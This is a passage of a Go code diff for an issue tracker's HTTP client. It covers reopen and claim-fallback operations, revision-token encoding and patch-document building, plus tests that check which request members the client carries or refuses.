:= requireActor(req.Actor); err != nil { + return issueops.ReopenResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.ReopenResult{}, err + } + if req.Provenance != "" { + return issueops.ReopenResult{}, refuse(encode.OpReopenIssue, "W-ReopenRequest.Provenance") + } + + body := apigen.ReopenIssueRequest{Actor: req.Actor, ExpectedVersion: revisionGuard(req.ExpectedVersion)} + if req.Reason != "" { + body.Reason = &req.Reason + } + res, err := l.wire.ReopenIssue(ctx, req.IssueID, body) + if err != nil { + return issueops.ReopenResult{}, err + } + // The stitch releaser.go documents; a recovery flow that reopens and then + // re-closes composes its next ExpectedVersion from this token. + issue := res.Issue + if issue.RowVersion, err = parseRevision("reopenIssue", res.Revision); err != nil { + return issueops.ReopenResult{}, err + } + return issueops.ReopenResult{Issue: &issue, Changed: !res.AlreadyOpen}, nil +} + +// revisionGuard spells a row-version precondition for the wire. +// +// The Go contract holds the token as an int64 (types.Issue.RowVersion, the +// request's ExpectedVersion) and the wire carries it as a decimal STRING +// (upstream #6053: the token spans the full 64-bit range and a JSON number +// would be rounded past 2^53 by any IEEE-754-double consumer, so the server +// refuses a bare number on `expected_version` with a 400). types.RevisionToken +// is the one spelling of that encoding and this is the one place the client +// applies it on the way out. +// +// NIL STAYS NIL and 0 becomes "0": the token is opaque and compared for +// equality alone, and 0 is one a row really holds — the migration-0054 backfill +// wrote it — so an absent guard and a guard on zero are different requests. +// Every verb that publishes the member goes through here, so there is one place +// the rule can be read and one place it could be broken. +func revisionGuard(version *int64) *string { + if version == nil { + return nil + } + token := types.RevisionToken(*version) + return &token +} + +// parseRevision reads the `revision` a write answered with back to the int64 +// the Go contract carries, revisionGuard's inverse. +// +// The member is required on every response that publishes it, and the server +// spells it with types.RevisionToken, so ParseRevisionToken accepts exactly what +// a conforming server emits. A token it cannot read is a server this client +// cannot follow, reported the way the package reports every other malformed +// answer (a batch-apply result of the wrong arity, a count with no `groups`): +// as a plain error naming bd serve, the operation and the member, rather than +// stitching 0 onto the row — 0 is a real token and the corruption would only +// surface as a precondition_failed on the NEXT request. +func parseRevision(op, token string) (int64, error) { + version, err := types.ParseRevisionToken(token) + if err != nil { + return 0, fmt.Errorf("%s: bd serve answered a `revision` this client cannot read as a token (%q): %w", op, token, err) + } + return version, nil +} + +// closeBody builds the close request. The three optional members are pointers on +// the wire, and an omitted one is not the same as an empty one: the server +// distinguishes "no reason supplied" from an explicit null, which it refuses. +func closeBody(actor, reason, session string, force bool) apigen.CloseIssueRequest { + body := apigen.CloseIssueRequest{Actor: actor} + if reason != "" { + body.Reason = &reason + } + if session != "" { + body.Session = &session + } + if force { + body.Force = &force + } + return body +} + +// claimOnlyUpdate is the claim a server that predates `claim` on updateIssue +// can still serve: a claim and nothing else, dialed as claimIssue through the +// Claimer role. Update reaches it only after such a server refused the member +// as unknown (serverPredatesUpdateClaim) and only for a claim-only request +// (isClaimOnlyUpdate) — claimIssue's own request is `{actor}` alone (see +// apigen.ClaimRequest), so a claim-only UpdateRequest IS that request, and +// anything beside the claim would be dropped by it. A claim combined with a +// patch, a guard or a force override is therefore NOT retried here: the skew +// refusal is returned as it came, rather than synthesized as two calls +// (claimIssue then updateIssue), which would let a caller observe an issue +// claimed but not yet patched. +// +// That keeps `bd update --claim --json` — gc's exclusive claim path — +// working against an older bd serve. The two roles' result shapes line up +// member for member (Issue, Changed): same-actor re-claim is the idempotent +// Changed=false Claimer already promises, and a foreign holder or an +// ineligible status is the same *issueops.ClaimConflictError updateIssue's +// claim raises. +// +// What this route cannot match, it says. claimIssue answers the bare row +// (issueops/claimer.go's ClaimResult doc, pinned against the Claimer role +// directly by TestServedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow), +// where updateIssue answers the hydrated one, so the LABELS and CreatedBy are +// read back below for CommandUpdateMutation's shared `bd update --json` +// renderer — the hydration is composed HERE rather than by widening Claimer's +// promise, which backend/conformance's ClaimerFixture suite holds every backend +// to. claimIssue also carries no `revision`, so the result's RowVersion stays +// unset rather than borrowing the follow-up read's token: that read is a second +// snapshot, and a token from it could postdate a write this claim never saw, +// arming a guard that should have missed. And claimIssue excludes the wisp +// plane, so a wisp id refuses by name (W-ClaimRequest.Wisp). +func (l *httpLifecycle) claimOnlyUpdate(ctx context.Context, req issueops.UpdateRequest) (issueops.UpdateResult, error) { + claimer, err := l.store.IssueClaimer() + if err != nil { + return issueops.UpdateResult{}, err + } + res, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: req.Actor, IssueID: req.IssueID}) + if err != nil { + // claimIssue excludes wisps (issueops.Claimer's own contract), where the + // direct route's `bd update --claim` claims one through Lifecycle's + // general issue-or-wisp routing. A wisp id therefore reaches THIS branch + // as the wire's generic not-found — "no issue or wisp with that id" — + // indistinguishable from an id that names nothing at all. The probe + // below runs ONLY here, on a not-found answer, rather than ahead of + // every claim attempt, so an ordinary claim of a real, non-wisp issue + // costs no probe. A refusal for any other reason (already claimed, not + // eligible from its current status, actor/id validation) needs no probe + // and returns unchanged. + if errors.Is(err, issueops.ErrNotFound) { + if issue, probeErr := l.store.GetIssue(ctx, req.IssueID); probeErr == nil && issue != nil && isWispIssue(issue) { + return issueops.UpdateResult{}, refuse(encode.OpUpdateIssue, "W-ClaimRequest.Wisp") + } + // Not a wisp — either the probe also found nothing (the id truly + // names no row), or the probe itself failed. Either way, the + // original not-found error from claimIssue is the right thing to + // return, unmodified: it is what lets a not-found-sensitive caller + // (gc's Claim among them) recognize a missing id over http exactly + // as it recognizes one against a local workspace. + } + return issueops.UpdateResult{}, err + } + issue := res.Issue + // Best-effort hydration for output parity with the direct route (see the + // doc above): the claim itself already committed, so a failed follow-up + // read is not this call's failure to report — fall back to the bare row + // issueops.Claimer promised rather than failing an otherwise-successful + // claim. Labels and CreatedBy ONLY: the read's RowVersion is another + // snapshot's, and the doc above is why it must not ride onto this row. A + // guard composed from the unset token fails closed (ErrVersionMismatch: the + // caller re-reads), where a borrowed one could pass over a write this claim + // never saw. Against a current server the claim rides updateIssue instead, + // whose `revision` Update stitches as it does for any patch, so the real + // token is missing only on this pre-#6890 fallback. + if issue != nil { + if hydrated, hydrateErr := l.store.GetIssue(ctx, req.IssueID); hydrateErr == nil && hydrated != nil { + withLabels := *issue + withLabels.Labels = hydrated.Labels + withLabels.CreatedBy = hydrated.CreatedBy + issue = &withLabels + } + } + return issueops.UpdateResult{Issue: issue, Changed: res.Changed}, nil +} + +// isClaimOnlyUpdate reports whether req carries nothing but the claim itself +// (and the Actor/IssueID pair every UpdateRequest needs) — whether claimIssue, +// whose wire request is the actor alone, can carry ALL of it. Any other +// UpdateRequest member holding a non-zero value — a Patch field, a guard, a +// force override, a provenance label — is one claimIssue has no place for, so +// claimOnlyUpdate's fallback would drop it. +// +// reflect.DeepEqual against the zero IssuePatch, rather than a hand-enumerated +// field list, is deliberate: a future IssuePatch member defaults to unset, so +// it is caught by this check without this function needing to learn its name. +func isClaimOnlyUpdate(req issueops.UpdateRequest) bool { + return reflect.DeepEqual(req.Patch, issueops.IssuePatch{}) && + !req.ForceAssigneeTransfer && + !req.ForceClosePolicy && + !req.ForceNotesOverwrite && + !req.IssuePlaneOnly && + req.Provenance == "" && + req.ExpectedVersion == nil && + req.ExpectedAssignee == nil && + req.ExpectedStatus == nil +} + +// isWispIssue reports whether issue lives on the wisp plane, mirroring +// internal/storage/issueops.IsWisp's flags-not-id-pattern rule (unexported +// there, and this package does not import it): a row is a wisp because it is +// Ephemeral or NoHistory, never because of what its id looks like. It does +// not read WispPlaneOverride, which only matters mid-import — a row this +// client just fetched off a live server is never an in-flight import record. +func isWispIssue(issue *types.Issue) bool { + return issue.Ephemeral || issue.NoHistory +} + +// refuseUnwirableUpdateMembers walks the UpdateRequest members the wire's +// updateIssue body has no place for. +// +// The claim and the three force overrides are NOT on this switch: updateIssue +// publishes all four (internal/httpapi/apigen's UpdateIssueRequest), the +// server reads them (internal/httpapi/update.go), and Update sends them beside +// the patch as wire.UpdateFlags. Their W-UpdateRequest rows are RETIRED. +// +// The order is the ledger's, and each refusal cites its row rather than a +// sentence, so the taxonomy renders the same reason the design recorded. +func refuseUnwirableUpdateMembers(req issueops.UpdateRequest) error { + switch { + case req.IssuePlaneOnly: + return refuse(encode.OpUpdateIssue, "W-UpdateRequest.IssuePlaneOnly") + case req.Provenance != "": + return refuse(encode.OpUpdateIssue, "W-UpdateRequest.Provenance") + } + return nil +} + +// encodeIssuePatch turns the role's patch into the wire's patch document. +// +// A member that is Set becomes a member of the document; a member that is not +// stays out of it. The four NULLABLE members are the reason the document is a +// map of any rather than a struct: their Field values wrap a POINTER, and a set +// nil pointer has to reach the server as a literal null — the clear — where an +// unset one has to be absent entirely. +// +// Every member the wire excludes refuses here rather than being skipped. Reading +// this function as the wire's allowlist is the point: what it does not write, it +// refuses, and there is no third arm. +func encodeIssuePatch(patch issueops.IssuePatch) (map[string]any, error) { + // REFUSE FIRST, then encode. The excluded members are decided before any + // member is written, so a patch that both names one and carries a malformed + // metadata blob reports the refusal — the fact about the WIRE — rather than + // whichever error the encoder happened to reach first. + if err := refuseExcludedPatchMembers(patch); err != nil { + return nil, err + } + out := map[string]any{} + + setString(out, "title", patch.Title) + setString(out, "description", patch.Description) + setString(out, "design", patch.Design) + setString(out, "acceptance_criteria", patch.AcceptanceCriteria) + setString(out, "notes", patch.Notes) + setString(out, "append_notes", patch.AppendNotes) + if patch.Priority.Set { + out["priority"] = patch.Priority.Value + } + if patch.IssueType.Set { + out["issue_type"] = string(patch.IssueType.Value) + } + + // The four members upstream #5484 added. + // + // PRESENCE ALONE DECIDES all three of the strings, and on two of them the + // EMPTY STRING is a request rather than an absence: an empty `assignee` + // unassigns, and an empty `parent_id` removes every parent-child edge. A + // builder that skipped a member because its value was empty would turn both + // into no edit at all — silently, since the server answers `changed: false` + // and the caller reads a 200. + // + // `status` is not a second spelling of close and reopen. Those two carry + // semantics a status write has nowhere to put — the reason and session under + // first-close-wins, the done-status normalization, the already-closed + // idempotence flag — and stay the operations to reach for. This member is + // the status moved ALONGSIDE other fields in one transaction, which is the + // thing two calls cannot do. It answers to close policy either way: a + // crossing into the done category earns the server's own not_closable. + if patch.Status.Set { + out["status"] = string(patch.Status.Value) + } + setString(out, "assignee", patch.Assignee) + setString(out, "parent_id", patch.ParentID) + if metadataPatched(patch.Metadata) { + document, err := encodeMetadataPatch(patch.Metadata) + if err != nil { + return nil, err + } + out["metadata"] = document + } + + // The nullable four. A set member always lands, and lands as null when its + // pointer is nil, because that is the clear. + setNullable(out, "estimated_minutes", patch.EstimatedMinutes) + setNullable(out, "external_ref", patch.ExternalRef) + setNullableTime(out, "due_at", patch.DueAt) + setNullableTime(out, "defer_until", patch.DeferUntil) + + // THE ORDERED LABEL EDIT, whole. The wire spells it as three FLAT members + // where applyBatch nests them under one object, and the difference is + // historical rather than meaningful: `labels` shipped as a bare array, and + // nesting it now would re-type a published member. What both spell is the + // role's own algebra — replace, then add, then remove, so REMOVAL WINS where + // a label appears in more than one — and the server assembles all three into + // ONE issueops.LabelPatch, so the order is never this client's to arrange. + // + // AN INCREMENTAL EDIT USED TO REFUSE HERE (W-IssuePatch.Labels), and it is + // worth saying what the refusal was protecting: a client that degraded an add + // to the replace-only member would have to read the set, add to it and write + // it back, which silently drops any label another writer added in between — + // and `bd label add` and every agent that tags work concurrently are exactly + // that caller. The members retire the refusal rather than the argument. + if patch.Labels.Replace.Set { + labels := patch.Labels.Replace.Value + if labels == nil { + // An empty array clears the set; a JSON null on this member is not + // a clear and the server refuses it. + labels = []string{} + } + out["labels"] = labels + } + // EMITTED ONLY WHEN NON-EMPTY, which is not a drop: Add and Remove are bare + // slices on the role, so nil and empty are one value there — an Add carrying + // nothing changes nothing and reports Changed false — and sending an empty + // array would put a member on the wire that says nothing while turning a + // patch that edits nothing into one the server has to refuse for a different + // reason. It is encodeApplyLabelPatch's rule, on the flat spelling. + if len(patch.Labels.Add) > 0 { + out["add_labels"] = append([]string(nil), patch.Labels.Add...) + } + if len(patch.Labels.Remove) > 0 { + out["remove_labels"] = append([]string(nil), patch.Labels.Remove...) + } + return out, nil +} + +// encodeMetadataPatch turns the role's metadata edit into the wire's own +// metadata document. +// +// It is a PROJECTION rather than a translation: apigen.ApplyMetadataPatch +// publishes replace, merge, set and unset, the role's MetadataPatch carries +// exactly those four, and the algebra over them — merge, then set in key order, +// then unset, with replace replacing the whole document and refusing beside the +// other three — is the ROLE's and is applied server-side by the same body a +// local workspace runs. Nothing here re-decides any of it, which is why the +// replace-plus-incremental contradiction is sent rather than pre-empted: both +// sides refuse it as a validation failure and writing nothing. +// +// It is a map for its parent's reason. apigen.ApplyMetadataPatch spells every +// member `omitempty`, and on THIS document that collapses the one state the +// role can express and the struct cannot: a set Replace holding no bytes is the +// CLEAR, and an omitted `replace` is no replacement at all. +// +// The two things it does decide, both because the alternative is not +// expressible on a JSON wire: +// +// - a clear travels as `{}`. An empty json.RawMessage is not a JSON value — +// json.Marshal fails on one — and `{}` is the document the role's own +// ApplyMetadataPatch substitutes for it before it writes, so this is the +// role's answer rather than a choice made here. +// - a blob that is not JSON refuses as ErrValidation, the way the create's +// does, rather than failing inside the marshaler as a transport fault. +func encodeMetadataPatch(patch issueops.MetadataPatch) (map[string]any, error) { + out := map[string]any{} + if patch.Replace.Set { + replacement := append(json.RawMessage(nil), patch.Replace.Value...) + if len(replacement) == 0 { + replacement = json.RawMessage(`{}`) + } + if err := requireJSON("Metadata.Replace", replacement); err != nil { + return nil, err + } + out["replace"] = replacement + } + if patch.Merge.Set { + merge := append(json.RawMessage(nil), patch.Merge.Value...) + if err := requireJSON("Metadata.Merge", merge); err != nil { + return nil, err + } + out["merge"] = merge + } + if len(patch.Set) > 0 { + values := make(map[string]json.RawMessage, len(patch.Set)) + // Sorted, so a patch breaking two keys always names the same offender. + // The role applies them in key order for its own reasons; this is only + // about which refusal a caller fixing one key at a time sees first. + for _, key := range slices.Sorted(maps.Keys(patch.Set)) { + value := append(json.RawMessage(nil), patch.Set[key]...) + if err := requireJSON(fmt.Sprintf("Metadata.Set[%q]", key), value); err != nil { + return nil, err + } + values[key] = value + } + out["set"] = values + } + if len(patch.Unset) > 0 { + out["unset"] = append([]string(nil), patch.Unset...) + } + return out, nil +} + +// refuseExcludedPatchMembers is the other half of the allowlist above: the +// IssuePatch members internal/httpapi/update.go's issuePatchMembers list leaves +// out. +func refuseExcludedPatchMembers(patch issueops.IssuePatch) error { + switch { + case patch.Owner.Set: + return refuse(encode.OpUpdateIssue, "W-IssuePatch.Owner") + case patch.ClosedBySession.Set: + return refuse(encode.OpUpdateIssue, "W-IssuePatch.ClosedBySession") + case patch.SpecID.Set: + return refuse(encode.OpUpdateIssue, "W-IssuePatch.SpecID") + case patch.AwaitID.Set: + return refuse(encode.OpUpdateIssue, "W-IssuePatch.AwaitID") + case patch.Persistence.Set: + return refuse(encode.OpUpdateIssue, "W-IssuePatch.Persistence") + } + return nil +} + +func metadataPatched(m issueops.MetadataPatch) bool { + return m.Replace.Set || m.Merge.Set || len(m.Set) > 0 || len(m.Unset) > 0 +} + +func setString(out map[string]any, member string, field issueops.Field[string]) { + if field.Set { + out[member] = field.Value + } +} + +// setNullable writes a member whose absence and whose null mean different +// things. The generic parameter is the POINTEE, so a nil Value marshals to null. +func setNullable[T any](out map[string]any, member string, field issueops.Field[*T]) { + if !field.Set { + return + } + if field.Value == nil { + out[member] = nil + return + } + out[member] = *field.Value +} + +// setNullableTime is setNullable for the two timestamp members. It is separate +// only because a *time.Time dereferenced into an `any` would marshal through +// time.Time's own encoder either way, and spelling it out keeps the RFC 3339 +// contract visible at the call site. +func setNullableTime(out map[string]any, member string, field issueops.Field[*time.Time]) { + if !field.Set { + return + } + if field.Value == nil { + out[member] = nil + return + } + out[member] = field.Value.UTC().Format(time.RFC3339Nano) +} + +// CloseIssue is the OFF-ROLE raw close, mapped onto the same closeIssue +// operation the Lifecycle role uses (design D8's off-role list, extended by the +// `bd close` decision). +// +// Its one caller at tip is the molecule auto-close, which closes a parent whose +// children have all finished and discards nothing about the outcome. Routing it +// onto the role's operation rather than refusing it is what keeps that path +// working over http; it carries no reason-per-item and no force, so the mapping +// is total. +func (s *Store) CloseIssue(ctx context.Context, id, reason, actor, session string) error { + w, err := s.roleWire("CloseIssue") + if err != nil { + return err + } + if err := requireActor(actor); err != nil { + return err + } + if err := requireID("issue id", id); err != nil { + return err + } + _, err = w.CloseIssue(ctx, id, closeBody(actor, reason, session, false)) + return err +} diff --git a/internal/httpclient/lifecycle_create_test.go b/internal/httpclient/lifecycle_create_test.go new file mode 100644 index 000000000..a67b50693 --- /dev/null +++ b/internal/httpclient/lifecycle_create_test.go @@ -0,0 +1,289 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/lifecycle_create_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "reflect" + "slices" + "sort" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The SINGLE create's refuse-not-drop gate, and the counterpart of +// TestBatchCreateRefusesEveryMemberTheWireExcludes. +// +// The two operations flatten the same types.Issue and they flatten DIFFERENT +// slices of it — createIssue publishes twenty members where batchCreateIssues' +// item publishes eight — so neither gate can stand in for the other. What they +// do share is the ROLE's own ignore list, which is one fact about one role and +// is one table here. +// +// The four directions: +// +// carried -> wire the twenty members the client claims to carry are +// members apigen.CreateIssueRequest really publishes. +// source -> partition every populatable field of types.Issue is carried, +// ignored by the role, refused by the role, or refused by +// the wire. There is no fifth arm, so a member added +// upstream cannot arrive unclassified. +// behavior every wire-refused member really fails, citing its +// ledger row, WITHOUT dialing. +// request the request's own excluded member — IDPrefix — refuses +// the same way wherever it would act. +func TestCreateRefusesEveryMemberTheWireExcludes(t *testing.T) { + t.Run("carried members are the wire's own", func(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.CreateIssueRequest{})) + for field, wireMember := range createCarriedIssueMembers { + if _, ok := reflect.TypeOf(issueops.Issue{}).FieldByName(field); !ok { + t.Errorf("the carried table names Issue.%s, which does not exist", field) + } + if !published[wireMember] { + t.Errorf("Issue.%s claims wire member %q, which CreateIssueRequest does not publish", field, wireMember) + } + } + // The complement is the REQUEST's own members rather than the issue's, + // so this direction stops at "published"; the whole-body bijection is + // the createIssue writeShape's, which claims every member of this body + // exactly once. + for _, wireMember := range createCarriedIssueMembers { + if strings.TrimSpace(wireMember) == "" { + t.Error("the carried table names an empty wire member") + } + } + }) + + refused := createWireRefusedIssueMembers(t) + + t.Run("the partition covers every member", func(t *testing.T) { + if len(refused) == 0 { + t.Fatal("no member is wire-refused; the partition tables have swallowed the population this gate exists for") + } + // The creation stamp and the classification plumbing are the two + // populations the operation's own description says it cannot set, and a + // create that dropped either is a row the caller believes they wrote. + // CreatedBy stays here because only a value NAMING THE ACTOR rides the + // server's stamp — see "a CreatedBy naming the actor" below. + for _, name := range []string{"CreatedAt", "CreatedBy", "SpecID", "StorageClass", "MolType", "Pinned"} { + if !slices.Contains(refused, name) { + t.Errorf("Issue.%s is not in the refused population; a create that dropped it is data loss", name) + } + } + // And the mirror image: the members this operation DOES publish that + // the batch's narrower item does not. A regression that copied the + // batch's table onto this operation would refuse all six. + for _, name := range []string{"ID", "Status", "Notes", "Metadata", "Ephemeral", "Sender"} { + if slices.Contains(refused, name) { + t.Errorf("Issue.%s is refused, but createIssue publishes it — this is the operation that fixed the batch's gap", name) + } + } + for field := range roleIgnoredCreateIssueMembers { + if _, dup := createCarriedIssueMembers[field]; dup { + t.Errorf("Issue.%s is both carried and ignored", field) + } + } + }) + + t.Run("every refused member fails without dialing", func(t *testing.T) { + for _, name := range refused { + t.Run(name, func(t *testing.T) { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + _, err := createRole(t, w).Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", Issue: issue, + }) + assertRefusedBy(t, err, "W-CreateRequest.Issue") + if !strings.Contains(err.Error(), name) { + t.Errorf("the refusal does not name the member: %v", err) + } + if len(w.calls) != 0 { + t.Errorf("the refused member reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("the role's own two are ErrValidation", func(t *testing.T) { + for name := range createRoleRefusedIssueMembers { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + _, err := createRole(t, w).Create(t.Context(), issueops.CreateRequest{Actor: "writer", Issue: issue}) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Issue.%s error = %v, want ErrValidation — a local backend refuses it too", name, err) + } + if len(w.calls) != 0 { + t.Errorf("Issue.%s reached the wire: %v", name, w.calls) + } + } + }) + + t.Run("a CreatedBy naming the actor rides the server's stamp", func(t *testing.T) { + // Every create shape stamps created_by from the actor, so the one value + // that stamp writes is carried BY it — and it is what every CLI create + // sends. Any other value would be silently replaced, which is why the + // sweep above still refuses CreatedBy: "sentinel" is never the actor. + w := &stubWire{} + if _, err := createRole(t, w).Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + Issue: &issueops.Issue{Title: "t", CreatedBy: "writer"}, + }); err != nil { + t.Fatalf("Create with CreatedBy == Actor = %v, want it carried by the server's stamp", err) + } + if w.lastCreate.Actor != "writer" { + t.Errorf("sent actor = %q, want the creator the stamp will write", w.lastCreate.Actor) + } + }) + + t.Run("the request's own excluded member refuses where it would act", func(t *testing.T) { + w := &stubWire{} + _, err := createRole(t, w).Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + IDPrefix: "other", + Issue: &issueops.Issue{ID: "other-1", Title: "t"}, + }) + assertRefusedBy(t, err, "W-CreateRequest.IDPrefix") + if len(w.calls) != 0 { + t.Errorf("the prefix override reached the wire: %v", w.calls) + } + }) + + t.Run("the request's own excluded member is inert where it would not act", func(t *testing.T) { + // The role reads IDPrefix only to check an explicit, unforced id. `bd + // create` sends the workspace's prefix on EVERY create, so refusing it + // on a minted or forced id would refuse every create in a workspace + // whose config.yaml names a prefix. + for name, req := range map[string]issueops.CreateRequest{ + "a minted id": {Issue: &issueops.Issue{Title: "t"}}, + "a forced id": {Issue: &issueops.Issue{ID: "other-1", Title: "t"}, ForceIDPrefix: true}, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + request := req + request.Actor = "writer" + request.IDPrefix = "other" + if _, err := createRole(t, w).Create(t.Context(), request); err != nil { + t.Fatalf("Create = %v, want the inert override sent without", err) + } + if got := derefOr(w.lastCreate.Id, ""); got != request.Issue.ID { + t.Errorf("sent id = %q, want %q", got, request.Issue.ID) + } + if forced := w.lastCreate.ForceIdPrefix != nil && *w.lastCreate.ForceIdPrefix; forced != request.ForceIDPrefix { + t.Errorf("sent force_id_prefix = %v, want %v", forced, request.ForceIDPrefix) + } + }) + } + }) + + t.Run("a metadata blob that is not JSON is ErrValidation, not a marshal fault", func(t *testing.T) { + // The blob's CONTENT is the role's business and travels verbatim; its + // well-formedness is this layer's, because bytes that are not JSON + // cannot go on a JSON wire and would otherwise fail inside + // json.Marshal — a transport fault where the contract promises a + // deterministic validation failure. + for name, req := range map[string]issueops.CreateRequest{ + "on the issue": { + Issue: &issueops.Issue{Title: "t", Metadata: []byte(`{"k":`)}, + }, + "on an edge": { + Issue: &issueops.Issue{Title: "t"}, + Dependencies: []issueops.CreateDependency{{TargetID: "bd-9", Type: types.DepBlocks, Metadata: `not json`}}, + }, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + request := req + request.Actor = "writer" + if _, err := createRole(t, w).Create(t.Context(), request); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Create with a malformed metadata blob = %v, want ErrValidation", err) + } + if len(w.calls) != 0 { + t.Errorf("the malformed blob reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("the edge's one", func(t *testing.T) { + // ONE, not the batch's three: createIssue's edge publishes `reverse` + // and `metadata`, because a create has an id for a target to point back + // at. Only the thread has no member on any operation. + w := &stubWire{} + _, err := createRole(t, w).Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + Issue: &issueops.Issue{Title: "t"}, + Dependencies: []issueops.CreateDependency{ + {TargetID: "bd-9", Type: types.DepBlocks, ThreadID: "th-1"}, + }, + }) + assertRefusedBy(t, err, "W-CreateDependency.ThreadID") + if len(w.calls) != 0 { + t.Errorf("the thread id reached the wire: %v", w.calls) + } + }) + + t.Run("the request has exactly the members this gate accounts for", func(t *testing.T) { + // The CONTAINER above types.Issue, which no other gate can see: the + // createIssue writeShape classifies these fields against the body, but + // a field added to CreateRequest tomorrow and then carried by a new + // wire member would leave this gate's own reasoning stale without + // anything saying so. + got := populatableFields(reflect.TypeOf(issueops.CreateRequest{})) + sort.Strings(got) + want := []string{ + "Actor", "Dependencies", "ForceIDPrefix", "IDPrefix", + "InheritLabelsFromParent", "Issue", "ParentID", "WaitsFor", + } + if !reflect.DeepEqual(got, want) { + t.Errorf("CreateRequest carries %v, want %v.\n"+ + "A new member reaches no wire member and no refusal: carry it in createBody, or refuse it with a ledger row.", got, want) + } + }) +} + +// createRoleRefusedIssueMembers are the two members the ROLE refuses in its own +// right, so the refusal is ErrValidation on every backend rather than a +// divergence: "Issue.Comments and Issue.Dependencies must be empty; supply edges +// through the request's own Dependencies field" (issueops.CreateRequest.Issue). +var createRoleRefusedIssueMembers = map[string]string{ + "Comments": "the role refuses a create carrying comments", + "Dependencies": "the role refuses an inline edge list; edges ride the request's own Dependencies", +} + +// createWireRefusedIssueMembers is the complement the gate drives: every +// populatable field of types.Issue that is neither carried by this operation's +// vocabulary, nor ignored by the role, nor refused by the role in its own right. +func createWireRefusedIssueMembers(t *testing.T) []string { + t.Helper() + var out []string + for _, name := range populatableFields(reflect.TypeOf(issueops.Issue{})) { + if _, ok := createCarriedIssueMembers[name]; ok { + continue + } + if _, ok := roleIgnoredCreateIssueMembers[name]; ok { + continue + } + if _, ok := createRoleRefusedIssueMembers[name]; ok { + continue + } + out = append(out, name) + } + return out +} + +func createRole(t *testing.T, w *stubWire) issueops.Lifecycle { + t.Helper() + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + return lifecycle +} diff --git a/internal/httpclient/lifecycle_update_test.go b/internal/httpclient/lifecycle_update_test.go new file mode 100644 index 000000000..9a4ee8ac2 --- /dev/null +++ b/internal/httpclient/lifecycle_update_test.go @@ -0,0 +1,308 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/lifecycle_update_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "encoding/json" + "errors" + "reflect" + "sort" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// The PATCH document's own gates, and the counterpart of +// lifecycle_create_test.go for the operation whose request is not a struct. +// +// updateIssue is the one write on this surface the client builds as a map, so +// nothing the compiler does can hold it to the wire's vocabulary: a typo is a +// 400 from a live server and a green run everywhere else. Three things are +// asserted here that no served case can show as cheaply — the members the wire +// wave added really reach the document, the metadata sub-document is the wire's +// own algebra rather than a second spelling of it, and a member the role adds +// tomorrow cannot arrive unclassified. + +// TestUpdateSendsThePatchMembersTheWireNowPublishes is the round trip for the +// four members client wave ga-7i6by carries: `status`, `assignee`, `parent_id` +// and `metadata`. Each was a W-IssuePatch refusal until the wire published it, +// and each is asserted through the document the role built rather than through +// the result, because the result is the server's and would look identical if +// the member had been dropped. +func TestUpdateSendsThePatchMembersTheWireNowPublishes(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Changed: true, Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + if _, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", + Patch: issueops.IssuePatch{ + Status: set(issueops.StatusInProgress), + Assignee: set("holder"), + ParentID: set("bd-parent"), + Metadata: issueops.MetadataPatch{ + Set: map[string]json.RawMessage{"gc.lease": json.RawMessage(`"win44"`)}, + }, + }, + }); err != nil { + t.Fatalf("Update: %v", err) + } + + patch := w.lastPatch + for member, want := range map[string]any{ + "status": string(issueops.StatusInProgress), + "assignee": "holder", + "parent_id": "bd-parent", + } { + if got, ok := patch[member]; !ok || got != want { + t.Errorf("patch[%s] = %v (present %t), want %v", member, got, ok, want) + } + } + metadata, ok := patch["metadata"].(map[string]any) + if !ok { + t.Fatalf("patch[metadata] = %#v, want the wire's own metadata document", patch["metadata"]) + } + values, ok := metadata["set"].(map[string]json.RawMessage) + if !ok { + t.Fatalf("metadata[set] = %#v, want the raw values map", metadata["set"]) + } + if got := string(values["gc.lease"]); got != `"win44"` { + t.Errorf("metadata.set[gc.lease] = %s, want the caller's own bytes", got) + } +} + +// TestUpdateSendsTheEmptyStringsThatMeanSomething is the half of the three +// string members a nil check would lose. On this operation the empty string is +// not "no value": it UNASSIGNS on `assignee` and removes every parent-child +// edge on `parent_id`, so a builder that skipped a member because its value was +// empty would turn two real edits into no edit at all — silently, since the +// server answers `changed: false` and the caller reads a 200. +func TestUpdateSendsTheEmptyStringsThatMeanSomething(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + if _, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", + Patch: issueops.IssuePatch{Assignee: set(""), ParentID: set("")}, + }); 